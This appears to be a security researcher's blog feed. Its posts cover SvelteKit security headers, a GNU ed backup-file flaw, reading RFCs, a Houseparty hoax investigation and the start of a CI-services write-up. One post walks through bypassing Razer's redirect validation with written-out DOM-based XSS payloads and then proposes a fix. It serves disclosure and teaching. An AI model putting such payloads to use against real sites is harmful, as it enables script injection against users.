GitHub on EdOverflow

Adding security headers to your SvelteKit application

contact@edoverflow.com (EdOverflow) — Fri, 27 Jan 2023 00:00:00 +0000

Yeah, you heard me right: SvelteKit. The past few weeks I have found myself increasingly developing full-stack applications using SvelteKit. I have my reservations about the framework but that is not what this blog post is about.

In line with the whole shift-left philosophy, I wanted to make it easy to add security headers across my whole application. In similar fashion to how Helmet plugs into Express apps, I found that SvelteKit could do with something similar using a handle hook.

The way to configure headers across all response objects is to create a src/hooks.server.ts. The response consists of resolving the event which then allows setting response headers.

import type { Handle } from "@sveltejs/kit";

const securityHeaders = {
 'Cross-Origin-Embedder-Policy': 'require-corp',
 'Cross-Origin-Opener-Policy': 'same-origin',
 // [...]
 'X-XSS-Protection': '0',
}

export const handle: Handle = async ({ event, resolve }) => {
 const response = await resolve(event);
 Object.entries(securityHeaders).forEach(
 ([header, value]) => response.headers.set(header, value)
 );

 return response;
}

Now, with all the Helmet defaults in place, the response headers can be seen in the HTTP response.

❯ curl -I http://localhost:5173/
HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
content-length: 879
content-security-policy: script-src 'self' 'nonce-Y70QFNhAVmer2wdobT8YoQ=='
content-type: text/html
cross-origin-embedder-policy: require-corp
cross-origin-opener-policy: same-origin
cross-origin-resource-policy: same-origin
etag: "1maoxiy"
origin-agent-cluster: ?1
referrer-policy: no-referrer
strict-transport-security: max-age=15552000; includeSubDomains
x-content-type-options: nosniff
x-dns-prefetch-control: off
x-download-options: noopen
x-frame-options: SAMEORIGIN
x-permitted-cross-domain-policies: none
x-sveltekit-page: true
x-xss-protection: 0
Date: Wed, 25 Jan 2023 11:58:03 GMT
Connection: keep-alive
Keep-Alive: timeout=5

A quick scan using shcheck to verify if this solution works.

❯ python shcheck.py http://localhost:5173/ | grep -i "Missing"
[!] Missing security header: Permissions-Policy

Oh, come on!

Learn to build it, then break it

contact@edoverflow.com (EdOverflow) — Fri, 20 Jan 2023 16:06:10 +0000

A good friend of mine and successful bug bounty hunter, Corben Leo, discussed in a blog post how he spotted an Express app from an error message alone¹. He used his understanding of Express application code to uncover a critical flaw.

I often use the expression, "Learn to build it, then break it". The philosophy is simple: learn security by building projects, reading official documentation and codebases, and then attempting to find security flaws in your work.

For me, this approach has led to more application-specific findings. I focus on the technology stack and application functionality; rather than rely on general-purpose checklists.

Don’t get me wrong: there is nothing wrong with the OWASP Top 10. I have just found that, when it comes to auditing web applications, my most impactful—and arguably interesting—findings are specific to the application itself. In the bug bounty context, for instance, generic and well-documented attack vectors can produce critical flaws but are uncovered reasonably quickly upon programme launch. This will often result in numerous duplicate reports and frustrated reporters.

“We applaud the researcher [Ed] for thinking about our product specifically, not just applying a generic checklist.”

— Max Krohn, Co-founder of Keybase, OkCupid, SparkNotes, TheSpark on a series of security flaws I uncovered in Keybase

Why did I feel the need to share this? Something I have been trying to encourage others to try out—especially if they are facing an onslaught of duplicate reports—is taking time to build systems and understanding how things are designed. In a black-box setting with this know-how, I start to recognise patterns. ng-* attribute on some random HTML tag? Oh, this application is using Angular on the frontend! Angular has a very opinionated way of structuring front-end code². This is a great opportunity to exploit this knowledge and uncover further components.

As evidenced by my reference to Corben’s blog, I am not alone in this approach. Jack Whitton talked about how working as a Security Engineer at Meta after having been an active member in the bug bounty community gave them this pattern recognition too³.

So, why not give it a try? Pick a random framework or technology you have regularly encountered.

Learn to build it, then break it.

GNU ed Ate My Homework

contact@edoverflow.com (EdOverflow) — Sat, 02 Apr 2022 00:00:00 +0000

If you have ever ventured into the archives of old UNIX books and mailing lists, you will have undoubtedly come across the legend of ed. ed (pronounced /iː diː/) is a text editor just like vim and emacs. However, contrary to its counterparts, ed comes with what an interface that could be best summarised as…

$ ed
q
?
q
?
q
?
qqqqqqqqqqqqqqqqqq
?
q
?
q
?
q
$

In spite of all of this, legend has it: “ed is the standard text editor”. So much so that most Linux distributions set /bin/ed to a Priority of -100.

$ sudo update-alternatives --config editor
There are 5 choices for the alternative editor (providing ∕usr∕bin∕editor).

 Selection Path Priority Status
------------------------------------------------------------
* 0 ∕usr∕bin∕vim.gtk3 50 auto mode
 1 ∕bin∕ed -100 manual mode
 2 ∕bin∕nano 40 manual mode
 3 ∕usr∕bin∕code 0 manual mode
 4 ∕usr∕bin∕vim.gtk3 50 manual mode
 5 ∕usr∕bin∕vim.tiny 15 manual mode

Jokes aside, despite being a frequent micro and Visual Studio Code user, I find myself toying around with ed and its source code at times. Most notably the GNU implementation of ed.

This is the story of a ~~bug~~ feature in GNU ed I stumbled across last year while reviewing the source code which could result in one losing their work.

A brief history in time

To understand the significance of this design flaw, we must briefly venture back to the origin of the GNU ed editor. In 1976, Brian Kernighan and P.J. Plauger published a book titled "Software Tools in Pascal" which explored writing good code using the Pascal programming language. This book contains brilliant passages such as:

“In real life, by the way, you would certainly name the routine sort, not bubble, so you could change the algorithm without upsetting users.”

— Brian Kernighan & P.J. Plauger, Software Tools in Pascal in reference to “Bubble Sort”

Why is this book of any significance? As stated in GNU’s info page on ed, the GNU implementation of ed drew inspiration from Chapter 6, “Editing”. The first GNU implementation was designed according to Kernighan and Plauger’s specification.

ed-0.1 ❯ cat THANKS
[...]

GNU ed originated with the editor algorithm from Brian W. Kernighan & P.
J. Plauger's wonderful book "Software Tools in Pascal," Addison-Wesley,
1981. [...]

While reading the book, this passage in particular stood out to me (emphasis mine):

“Error recovery is a second major influence on the design of the editor. […] edit maintains precious files, so it must be cautious. […] It must recover gracefully, for otherwise some trifling mistake could cause the loss of valuable information.”

— Brian Kernighan & P.J. Plauger, Software Tools in Pascal

Keep this quote in mind. We will come back to this passage in just a bit.

Straight to the source

To examine how GNU ed works under the hood, grab a copy of the latest GNU release (version 1.18 as of writing this blog post). The source code is easy to navigate with only 8 C files.

❯ find . -name "*.c"
./buffer.c
./io.c
./carg_parser.c
./main_loop.c
./main.c
./signal.c
./global.c
./regex.c

GNU ed has a SIGHUP handler in signal.c which generates a backup file whenever the ed process encounters a SIGHUP signal. This ensures one does not lose their work if the ed process crashes. This is similar to vim swap files. ¹

I have taken the liberty of including my own comments in the sighup_handler() function below to help guide the reader.

static void sighup_handler(int signum)
{
 // [...]

 // Listen for SIGHUP signal
 if (mutex)
 {
 sighup_pending = true;
 return;
 }
 sighup_pending = false;

 // Hardcode backup filename
 const char hb[] = "ed.hup";

 // If there are unsaved changes, write current buffer to ed.hup
 // in current working directory
 if (last_addr() <= 0 || !modified() ||
 write_file(hb, "w", 1, last_addr()) >= 0)
 exit(0); // Exit here if write was successful

 // Otherwise continue executing code and attempt to write to home directory

 // Get home directory location from $HOME environment variable
 char *const s = getenv("HOME");

 // Check if $HOME environment variable is set
 if (!s || !s[0])
 exit(1);

 // Get length of $HOME path
 const int len = strlen(s);

 // Does $HOME end with a forward slash? 1 if it does, 0 else
 const int need_slash = s[len - 1] != '/';

 // Construct full path for backup file
 char *const hup = (len + need_slash + (int)sizeof hb < path_max(0)) ? (char *)malloc(len + need_slash + sizeof hb) : 0;

 // Throw error if path construction fails
 if (!hup)
 exit(1);

 memcpy(hup, s, len);

 // Append forward slash to $HOME if missing final forward slash
 if (need_slash)
 hup[len] = '/';

 // Copy backup file contents to
 memcpy(hup + len + need_slash, hb, sizeof hb);

 // Write contents to
 if (write_file(hup, "w", 1, last_addr()) >= 0)
 exit(0);
 exit(1); /* hup file write failed */
}

Unfortunately, as indicated by my code comment, the backup file will always be named ed.hup which leaves much to be desired.

const char hb[] = "ed.hup";

There are so many reasons why this may cause issues. If GNU ed cannot write to either the home directory or the current directory’s ed.hup file, the user will lose all their work when ed crashes. To explore why this is a bad idea, I will use a scenario.

Sudo make me a sandwich

Since this is not a tutorial on how to use ed, briefly: the way ed works is you can append lines to a buffer using the a command and then write to a file using the w command. There is more to it but this should be enough for the reader to understand everything outlined below.

ed is launched in the home directory using sudo and some text is written to a buffer.

❯ ls
❯ sudo ed
a
Writing some text to a buffer using sudo
After the single '.', this process will experience
a SIGHUP signal from a different terminal window
.
141

This process experiences a SIGHUP signal called using sudo kill -SIGHUP <pid> in another terminal window. ed writes the contents of the buffer to a ed.hup file in the current working directory (i.e. $HOME).

❯ ls -l
total 4
-rw-r--r-- 1 root wheel 141 Feb 7 13:07 ed.hup
❯ cat ed.hup
Writing some text to a buffer using sudo
After the single '.', this process will experience
a SIGHUP signal from a different terminal window

Now we navigate to a subdirectory (e.g. demo) and repeat the same process using sudo and cause ed to encounter a SIGHUP signal. Since ed favours the current working directory over the $HOME directory, the ed.hup will be written to the current working directory.

demo ❯ ls
total 4
-rw-r--r-- 1 root wheel 141 Feb 7 13:07 ed.hup
demo ❯ cat ed.hup
Writing some text to a buffer using sudo
After the single '.', this process will experience
a SIGHUP signal from a different terminal window

Our current directory structure can be illustrated as follows by running tree in the home directory.

❯ tree
.
├── ed.hup
└── demo
 └── ed.hup

With this setup, we can finally demonstrate how ed could end up eating your homework. In the subdirectory, launch ed without sudo and cause the process to crash.

demo ❯ ed
a
This is my homework for the assignment on Tuesday!
I hope this doesn't get lost. :(
.
ed.hup: Permission denied
/Users/<user>/ed.hup: Permission denied
84
demo ❯ ls -l
total 4
-rw-r--r-- 1 root wheel 141 Feb 7 13:07 ed.hup
demo ❯ cat ed.hup
Writing some text to a buffer using sudo
After the single '.', this process will experience
a SIGHUP signal from a different terminal window
demo ❯ cd $HOME
❯ cat ed.hup
Writing some text to a buffer using sudo
After the single '.', this process will experience
a SIGHUP signal from a different terminal window

We just lost all our homework. ed failed to write to the ed.hup files in both the current working directory and the home directory because the process lacked the required privileges.

The passage from Kernighan and Plauger’s seems very fitting here.

“Error recovery is a second major influence on the design of the editor. […] edit maintains precious files, so it must be cautious. […] It must recover gracefully, for otherwise some trifling mistake could cause the loss of valuable information.”

— Brian Kernighan & P.J. Plauger, Software Tools in Pascal

This is a lesson on why not to use static backup filenames.

Update (Apr, 2022)

@qrs notified me on Twitter that a SIGHUP is sent when the connection drops; not during an ed crash. I have updated the blog post accordingly.
Hacker News user projektfu noted users should consider using “sudo -e instead of sudo $EDITOR when editing something important with root permissions”.

https://github.com/vim/vim/blob/c54f347d63bcca97ead673d01ac6b59914bb04e5/runtime/doc/recover.txt#L7-L25 ↩︎

Reading RFCs for bug bounty hunters

contact@edoverflow.com (EdOverflow) — Sat, 05 Mar 2022 15:35:59 +0000

Yesterday, I received an email from a reader concerning IETF Request for Comments (RFCs):

“I have heard about hackers reading RFCs. Is there a guide on reading RFCs and what to search for? Because there is way too much information in RFCs, one cannot start going through it manually.”

— Afolic

This is a brilliant question and one I have heard before but never covered in a blog post.

Having worked on the security.txt specification (soon to be RFC 9116), I may be able to give some insight into what to look for when reviewing RFCs as a bug bounty hunter.

Before we dive into my advice on how to review RFCs, let me share why a bug bounty hunter may want to review RFC literature.

Why?!

RFCs act as reference material for readers to implement certain technologies and protocols.

For bug bounty hunters, the documents are an opportunity to familiarise oneself with a given technology as defined by the authors of the standard. Rather than relying on a third-party’s rehash, RFCs act as the original source. RFCs allow one to examine what developers may have reviewed when designing their implementation.

Additionally, RFCs allow one to see where implementors deviate from the specification; thus, potentially introducing security flaws.

At the end of the day, an RFC specification is merely a guideline. Implementors are free to develop the technology or protocol as they wish. If I decide I would rather use frogs over pigeons for RFC 1149, that is up to me—the implementor.

Frogs when they realise they will be in charge of IPv4 packets

Before you dive in

As highlighted by reader Afolic, diving straight into an RFC document may be daunting at first.

Initially, I prefer reviewing a topic by becoming acquainted with the surrounding vocabulary. For example, before reading the ICMP RFC, I might watch a few YouTube videos on the subject until I feel comfortable enough to start examining the RFC.

If you are not sure what terminology to look up, RFCs come with a dedicated “Terminology” section towards the beginning of the document.

Right; now you are ready to read an RFC.

The Security Considerations section

As outlined in RFC 7322, all RFCs must include a Security Considerations section that covers the security practices readers must consider when implementing the RFC.

All RFCs must contain a section that discusses the security considerations relevant to the specification; see “Guidelines for Writing RFC Text on Security Considerations” [BCP72] for more information.

— RFC 7322, Section 4.8.5

Naturally, it would make sense for someone reviewing the security of a target technology to read the security considerations the authors of the RFC made. For instance, are you testing the security of an OAuth 2.0 implementation? Review the RFC 6749 Security Considerations section.

The security.txt specification has a “Security Considerations” section too. ¹ Can you think of what flaws may have been introduced by readers not taking the security considerations into account? ²

Reviewing past versions of an RFC

When targeting an application, certain features and implementations may be following outdated RFC specifications. You can tell an RFC is outdated because the document’s front matter contains an “Obsoleted by:” link.

RFC 5849 is obsoleted by RFC 6749

To simplify the reading process, RFCs come with a diff viewer. The IETF have a dedicated tool called Rfcdiff Tool which makes generating diffs easier.

If you are strapped for time, diffing the table of contents can often reveal a lot about the changes made from one RFC to another.

Errata exist

RFCs can contain mistakes. The authors are only human and sometimes even after hundreds of edits and reviews, a mistake makes its way into the final RFC specification.

To address this, the IETF have errata boards where readers may report mistakes (i.e. errata). When mistakes have been discovered in an RFC, the document will include an “Errata exist” link.

'Errata exist' link in RFC 7489

Errata in RFCs may result in developers making mistakes in their implementations. It is worth reviewing the errata for issues relating to security. Then, determine whether your target is affected by a given erratum.

I would recommend keeping notes for each RFC you review containing security-relevant errata that one could test for. That way, in future, you do not have to sieve through the RFC errata again to rediscover these security-related mistakes.

Conclusion

RFCs can be dry and difficult to navigate. I hope this response to the email helps bug bounty hunters more easily review RFCs.

If you would like to have your question answered in the form of a blog post like this, please send me an email.

Update (Dec, 2022)

Inti De Ceukelaire gave a talk at NahamCon 2022 covering the importance of reading RFC specifications for bug bounty hunters: https://twitter.com/intigriti/status/1604054094808760321.

https://datatracker.ietf.org/doc/html/draft-foudil-securitytxt-12#section-6 ↩︎
It may be worth reading “An analysis of logic flaws in web-of-trust services” which covers some of the attack vectors considered while designing security.txt. ↩︎

What Bypassing Razer's DOM-based XSS Patch Can Teach Us

contact@edoverflow.com (EdOverflow) — Sat, 05 Feb 2022 00:00:00 +0000

An old story of a bug I uncovered and reported to Razer’s vulnerability disclosure programme resurfaced recently while I was chatting with Linus Särud. Back in 2017, I uncovered a snippet of JavaScript code on deals.razerzone.com which handled redirection after a user logged in.

// let rurl = document.location.href;
if (razerUserLogin) {
 rurl = rurl.split("rurl=")[1];
 location.href = decodeURIComponent(rurl);
}

The code extracted the value from the rurl GET parameter, and redirected the user to the value of that GET parameter. For example, https://deals.razerzone.com/?rurl=https://deals.razerzone.com/settings would redirect to https://deals.razerzone.com/settings.

let rurl =
 "https://deals.razerzone.com/?rurl=https://deals.razerzone.com/settings";
rurl.split("rurl=");
//=> [ 'https://deals.razerzone.com/?', 'https://deals.razerzone.com/settings' ]
rurl.split("rurl=")[1];
//=> 'https://deals.razerzone.com/settings'

Besides the obvious open redirect due to a lack of validation of the redirect endpoint (rurl), this code was vulnerable to DOM-based XSS.

Setting the window.location.href property to a javascript: protocol URI will execute JavaScript code in the context of the target web application. Something as simple as https://deals.razerzone.com/?rurl=javascript:alert(document.domain) would prompt the user with an alert message displaying the current page’s document.domain.

Razer attempted to patch the vulnerability with the following if statement.

// let rurl = document.location.href;
// let siteURL = 'https://deals.razerzone.com';
if (razerUserLogin) {
 rurl = rurl.split("rurl=")[1];
 rurl = decodeURIComponent(rurl);
 if (
 rurl.indexOf(siteURL) > -1 &&
 rurl.split("://")[1].split("/")[0] === siteURL.split("://")[1].split("/")[0]
 ) {
 location.href = rurl;
 }
}

Author’s note: Before continuing to read beyond this point, I encourage the reader to play around with the code and determine if the validation can be bypassed. Please feel free to respond to this tweet with your bypass.

Skimming through the code above may provoke the reader to ponder why a developer would write such code. Most literature on good coding practices will mention something along the lines of “good code should not have any surprises”. More importantly, the purpose (the “why?”) of an important piece of code, such as the one highlighted above, should be documented in some form. Even better yet: if possible, the code should document itself.

The attempted patch by Razer failed on all accounts. Why parse rurl manually rather than rely on the built-in URL API? What do all the nested split() methods extract from rurl?

When performing code review, I like to better understand what might have been going through the developer’s mind. In other words, we need to determine the purpose of the code above and answer the “why?”.

rurl.indexOf(siteURL) > -1 is in a sense fuzzy matching the user-supplied redirect URL (rurl) to determine if the trusted URL (siteURL) is present in the string. The developer was trying to answer: Is the trusted siteURL a substring of the user-supplied rurl?
rurl.split("://")[1].split("/")[0] is an attempt at extracting the hostname from user-supplied redirect URL and comparing it to the hostname from the trusted siteURL. rurl.split("://")[1] is supposed to remove the protocol scheme portion of the URL (e.g. https:), and .split("/")[0] discards the URL path revealing the hostname.

let rurl = "https://example.com/settings";
rurl.split("://");
//=> [ 'https', 'example.com/settings' ]
rurl.split("://")[1];
//=> 'example.com/settings'
rurl.split("://")[1].split("/");
//=> [ 'example.com', 'settings' ]
rurl.split("://")[1].split("/")[0];
//=> 'example.com'

It appears the developer was attempting to determine if the trusted URL was present in rurl and if the hostname in rurl matched their trusted host (deals.razerzone.com).

Unfortunately, this validation could be bypassed in several ways. The indexOf() check in (1.) merely required https://deals.razerzone.com to be present somewhere in rurl; not strictly at the beginning of the string. Step (2.) would extract the hostname after the first occurrence of ://. So rurl could still start with javascript:. However, ://deals.razerzone.com/ would have to appear at some point in the payload before any further occurrence of ://.

let rurl = "javascript://deals.razerzone.com/";
rurl.split("://");
//=> [ 'javascript', 'deals.razerzone.com/' ]
rurl.split("://")[1];
//=> 'deals.razerzone.com/'
rurl.split("://")[1].split("/");
//=> [ 'deals.razerzone.com', '' ]
rurl.split("://")[1].split("/")[0];
("deals.razerzone.com");

As the syntax highlighting in this snippet below gives away, // is treated as a single-line comment and therefore comments out the deals.razerzone.com/ portion of the payload.

javascript://deals.razerzone.com/

Next, we needed a way to break out of the single-line comment and append JavaScript code. I learnt a trick for this from Gareth Heyes: JavaScript treats the U+2028 Line Separator character as a line terminator which results in a newline. ¹

javascript://deals.razerzone.com/%E2%80%A8alert(document.domain)

That all being said, any form of line terminator would have worked here including line feed (%0A) and carriage return (%0D). I like the U+2028 trick because I have encountered situations where newlines were stripped and I needed to bypass this behaviour using U+2028.

Finally, to bypass the indexOf() check in (1.), one could append https://deals.razerzone.com to the end of the payload and comment it out so as not to affect the alert() call.

javascript://deals.razerzone.com/%E2%80%A8alert(document.domain)//https://deals.razerzone.com

This illustrates one of many ways the if statement could have been bypassed. Something as simple as javascript:alert()//https://deals.razerzone.com would have worked too. An even simpler and more humorous bypass which I discovered was javascript:alert("https://deals.razerzone.com/"). Can you determine why this would have worked?

A quick fix for the vulnerable code would have been to verify rurl.indexOf(siteURL) == 0 and hardcode siteURL to https://deals.razerzone.com/ (note the appended /). This would have ensured rurl started with https://deals.razerzone.com/, preventing redirects to external hosts and mitigating the DOM-based XSS vulnerability.

However, this quick fix does not solve the problem of confusing future readers. In addition, the code is incredibly brittle and not future-proof. We are relying heavily on / at the end of the siteURL. Remove the final / from siteURL and the whole fix falls apart. This approach feels more like a “hack”.

A more adequate fix using the URL API may have been:

if (razerUserLogin) {
 let params = new URL(document.location).searchParams;
 let rurl = params.get("rurl");
 rurl = new URL(rurl);
 // Validate redirect URI to ensure user is redirected to trusted
 // deals.razerzone.com endpoint. This prevents unvalidated redirects
 // to malicious pages and DOM-based XSS using the javascript: protocol.
 // Reference: https://hackerone.com/reports/292200
 if (rurl.hostname == "deals.razerzone.com" && rurl.protocol == "https:") {
 location.href = rurl;
 }
}

This solution explains why the if statement is needed, references the HackerOne report which provoked the code changes, and does not have any surprises lurking amidst the depths of nested split() methods. A developer reviewing this code in future does not have to step through the split() method calls as described in (2.) to figure out what is going on under the hood.

Further, @filedescriptor noted that this implementation also addressed the way Razer were initialising rurl to location.hash. Parsing the rurl from the URI using Razer’s approach could have led to difficulties with URI fragments (i.e. /#rurl=)—an approach that would have allowed an attacker to conceal the XSS payload from firewall rules and server logs. ²

The more refined solution would probably have been to set location.href to 'https://deals.razerzone.com/' + rurl, where rurl = new URL(rurl).pathname. Then, no matter what was supplied via the rurl GET parameter, the client would always redirect to an endpoint located on deals.razerzone.com. This would have spared us having to write any validation.

Conclusion

Part of the aim of this blog post was to illustrate how I incorporate designing a patch to better understand the code I am exploiting. Often times advisories and vulnerability reports are published focusing entirely on the exploit and little on the mitigation strategy. For newcomers to vulnerability disclosure: I hope this blog post demonstrates my “learn to make it; then break it” approach to security research. Reviewing lots of JavaScript code and my familiarity with the URL API allowed me to more easily recognise issues with Razer’s patch.

In addition, I have found success with suggesting patches to vendors when submitting vulnerability reports. Including concrete mitigation steps can reduce the time to resolution—and time to payout, for that matter, when reporting to bug bounty programmes. I find vendors are usually more receptive since the patch encapsulates an alternative approach to the current implementation on their affected product. This is something I regularly advise students in my workshops to do.

In the end, no matter how many hours you invest in refactoring code to resolve a security vulnerability, the simplest solution will always surface eventually.

❯ curl https://deals.razerzone.com/
curl: (6) Could not resolve host: deals.razerzone.com

The code for handling line terminators in single-line comments in JavaScript can be seen in Google Chrome’s JavaScript engine, V8. The parser does not treat line terminator characters as if they were part of the single-line comment—adhering to the ECMAScript specification. ↩︎
The URI fragment portion is never sent to the application server. ↩︎

security.txt adoption in Switzerland

contact@edoverflow.com (EdOverflow) — Tue, 18 Jan 2022 00:00:00 +0000

Recently, @ant0inet (Antoine) tweeted about a cursory scan they did against the .ch TLD to determine how many security.txt files are hosted on the .ch zone.

Quick workflow to scan for @securitytxt files on the .ch zone.pic.twitter.com/XfE6xhTDeO
— so long and thanks for the phish (@ant0inet) January 15, 2022

I decided it would be fun to explore the data set of $288$ security.txt files.

If you have scanned for security.txt files in the past, you are probably aware that a significant portion of these files are hosted by the underlying product used for hosting the website. For instance, Tumblr user websites host a generic security.txt file pointing to Automattic’s HackerOne programme.

Contact: https://hackerone.com/automattic/reports/new
Policy: https://hackerone.com/automattic
Acknowledgments: https://hackerone.com/automattic/thanks
Hiring: https://www.tumblr.com/jobs

If we create a hash map of security.txt files from Antoine’s resulting data set, we discover there are several duplicate files. Some of these duplicate files are organisational security.txt files hosted across a collection of .ch hosts belonging to one company.

Post AG hosts the most security.txt files on the .ch zone

Organisation	Number of `security.txt` files
Post AG	$54$
Nextcloud	$30$
bpm	$19$
Readymag	$15$
Visana	$7$
edoobox	$5$
Procter & Gamble	$3$
Google	$2$
Zera Media	$2$

Using the same data set, we can fetch the number of unique security.txt files by returning the length of the hash map. This results in $143$ unique security.txt files across the .ch zone.

It may help to further illustrate the proportion of unique to duplicate files.

As noted by Antoine in later tweets, some hosts were missing from the initial data set due to massdns not resolving them and the nuclei template not following redirects (this has since been updated).

Antoine released a final more refined data set which addressed the issues faced with earlier scans. This data set included $1310$ security.txt files.

+384 sites when following redirects: https://t.co/VBYfb1LJdD
— so long and thanks for the phish (@ant0inet) January 16, 2022

Performing the same analysis against this new data set returned $535$ unique security.txt files.

Post AG came out top hosting a total of $203$ Instances of security.txt.

Organisation	Number of `security.txt` files
Post AG	$203$
Nextcloud	$125$
Readymag	$55$

All in all, kudos to Antoine for taking the time to scan the .ch zone for security.txt. This was a fun exercise and uncovered some interesting insights into security.txt adoption in Switzerland. I look forward to seeing adoption grow among Swiss organisations in the years to come.

The Story of the Million Dollar Bounty

contact@edoverflow.com (EdOverflow) — Thu, 31 Dec 2020 00:00:00 +0000

On the evening of January 30th, I checked my phone one last time before going to bed as we millennials do to simulate waking up with a hangover. Tweets started showing up on my feed about a hack related to Houseparty. I notified Karim Rahal and Karel Knibbe that what was unfolding on Twitter could be something we could look into the next day. At first, we did not think much of it but agreed it would be interesting to explore further.

The next morning I woke up to a BBC News headline, “Houseparty offers $1m reward for proof of sabotage”. The story suddenly started to feel like a big deal.

My inbox lit up with messages from Karel and Karim. We began to dream of all the things we could do with $1'000'000. I could upgrade my car with Gerben Javado, Karel would be able to invest more in Tesla stocks, and Karim could finally fix his gambling addiction.

With a bright future in sight, the three of us set off on a journey to determine: who hacked Houseparty?

The Investigation

To paint a better picture of what was unfolding, the team analysed 8000+ tweets containing the keywords: hack, hacked, hacking, delete, phishing, bank, spotify, netflix, hijack, hijacked, stole, money.

Among these tweets were 500+ images from which we sieved out dates as well as affected email addresses. Upon further inspection, we found the emails in many data breaches: Canva, Collection #1, Exploit.In, iMesh, MySpace, Edmodo, Straffic, River City Media Spam List, 8fit, MyFitnessPal. Even worse, many breaches contained the same emails.

These email notifications also included the location from which the login attempt had been made. The location data and timestamps indicated a potential mass-credential stuffing attack had taken place:

Time of Login Attempt	Location of Login Attempt
22 Mar 2020 02:04:29 CEST	Russia
22 Mar 2020 17:58:45 CEST	Russia
23 Mar 2020 15:19:44 CEST	Russia
23 Mar 2020 16:13:45 CEST	Russia
23 Mar 2020 16:46:10 CEST	Russia
23 Mar 2020 17:18:42 CEST	Russia
23 Mar 2020 22:24:38 CEST	Russia
24 Mar 2020 00:45:21 CEST	Russia
25 Mar 2020 01:52:38 CEST	Russia
25 Mar 2020 01:56:56 CEST	Russia
25 Mar 2020 17:54:33 CEST	Russia

We also plotted the tweets’ timestamps which helped us analyse the start and epicentre of the campaign:

Surprisingly, the first known tweet mentioning Houseparty and a hack did not appear to have had an impact on the graph.

So @houseparty isn’t secure, friend just had their Facebook account hacked after using it

— REDACTED1 (@REDACTED1) March 24, 2020

To find the tweets that caused the wave of reports, we narrowed down our search to 13:00-14:00 CEST. By doing this, we discovered Scottish user @REDACTED2 had gained a lot of likes and retweets on a tweet that was then subsequently deleted. Other tweets around the same time, for instance by @REDACTED3, were also from Scotland. With no evidence, their tweets claimed that they had been hacked by installing Houseparty. Later, after having deleted their tweet, @REDACTED2 tweeted out the same message again:

Acc freaking out I’ve had people from Israel, Russia and Us trying to hack my Spotify and PayPal after seeing that hacking tweet about Houseparty, deleting it ASAP

— REDACTED2 (@REDACTED2) March 24, 2020

The peak was instigated by other things too. For one, users searched for login notifications from Spotify and other services. This was discovered by the common occurrence of highlighted search terms in screenshots:

Additionally, another controversy occurred when users tried to delete their Houseparty accounts: Android users did not have the delete account feature, and their only option was to email Houseparty’s support. Unfortunately, the support email had stopped working, further feeding the peak:

Yet, this was not enough to understand the source of the trend: the location was also important. Based on geographical data from the 8000 tweet authors, we believed that the news first broke out in the United Kingdom, and the rumours mainly appeared to have spread among British users. If a data breach had occurred in Houseparty, it would have been odd for only a specific demographic of people to be targeted.

We checked other popular social media platforms and could not find anything older than the activity we had seen on Twitter. Most platforms were directly referencing tweets.

Contacting Houseparty

Once we completed the investigation, it was time to contact Houseparty. In the original Twitter announcement, Houseparty had requested participants contact them via bounty@houseparty.com. However, due to the tweet going viral, this seemed like whispering in a club.

We are investigating indications that the recent hacking rumors were spread by a paid commercial smear campaign to harm Houseparty. We are offering a $1,000,000 bounty for the first individual to provide proof of such a campaign to bounty@houseparty.com.

— Houseparty (@houseparty)

This is where Troy Hunt came to our rescue. Troy had a contact at Epic Games who we shall refer to as James for the rest of this story.

Hey Ed,

Troy Hunt contacted us and mentioned that you had some information that you wanted to share with us. I work on Epic’s security team under the directory. Please feel free to share any information with me.

This was our moment to shine! We emailed James with all the information we had gathered and our thoughts on the results. James responded the next day:

I really appreciate the assist. We had some speculation and your information helped confirm that we were wishing for a trend that didn’t exist. […] Can you send me your address? I would like to have our marketing team send you guys a thank you. Thanks again.

They were going to deliver the $1'000'000 bounty straight to our doorstep?! Dreams started to flicker before our eyes again. $1'000'000 was going to be life-changing.

Two weeks went by and no sign from Epic Games…

Just wanted to let you know that you are not forgotten. I wanted to send you guys some swag but in talking with that team, they mentioned that most of the factories are shutdown due to the virus.

Wait … what … disc scratch … Fortnite swag?!

Not what we were hoping for, but some of us would have settled for that. To be fair, we suspected that the million-dollar bounty was out of the question since we did not provide evidence proving a smear campaign: we found strong evidence to suggest this was merely a hoax. Although this was never officially communicated back to us by Epic Games.

Unfortunately, we lost all contact soon after: we waited months but did not hear back. At that point, I gave up on a new car, Karel on his Fortnite t-shirt dreams, and Karim, well, on his poker chips.

To end this blog post: it is not my intention to make this a hit-piece against Epic Games. This is a story Karim, Karel, and I have told friends over drinks and it got to the point where we eventually decided it would be fun to share the story in the form of a blog post. We have no harsh feelings towards Epic Games or anyone involved in this story.

I would like to thank @ElSec_, @katy89164987, and Danyal Sharif for reviewing this blog post prior to publication.

"CI Knew There Would Be Bugs Here" — Exploring Continuous Integration Services as a Bug Bounty Hunter

contact@edoverflow.com (EdOverflow) — Fri, 26 Apr 2019 00:00:00 +0000

When it comes to bug bounty hunting and finding exciting areas to explore, it is vital to familiarise yourself with the technologies that vendors and companies rely on. One particularly interesting environment that caught our eye was popular integrations used by various open-source projects, primarily as part of their development life cycle. Some prime examples of continuous-integration services (“CI services”) including Travis CI, Circle CI, and GitLab CI turned out to be extremely rewarding for us as bug bounty hunters.

We set out to automate fetching and searching large data sets from these CI services. This technical write-up will touch on the numerous challenges we faced, how we reduced the number of false-positives in our searches, notable findings, and finally, list some tricks we picked up along the way.

The team that worked on this research includes Justin Gardner (@Rhynorater), Corben Leo (@hacker_), and EdOverflow (@EdOverflow) — with some testing and helpful suggestions by Karim Rahal (@KarimPwnz), @streaak, @d0nutptr, and BBAC.

Introduction to continuous-integration services

Continuous integration (CI) is the practice of committing code-changes and automatically building and testing every change. Nowadays, it is rare not to stumble across an open-source project that does not use a continuous-integration service at some point in the development cycle. The various services out there offer straightforward set-up configuration steps and beautiful interfaces for quickly testing and building code continuously.

/r/dataisugly/ candidate right here.

The security.txt project, for instance, uses Travis CI to build new draft documents whenever a commit is pushed. This allows the team to quickly determine if any further changes to the specification could potentially break the Internet Draft when compiled using kramdown-rfc2629 — a tool that enables one to write everything in Markdown and then convert it to XML2RFC XML markup.

What went through our heads

Something that readers have requested in the past is to have a designated section on how the authors came up with research topics such as the type of work we are presenting here. This section will hopefully illustrate where the idea stems from initially.

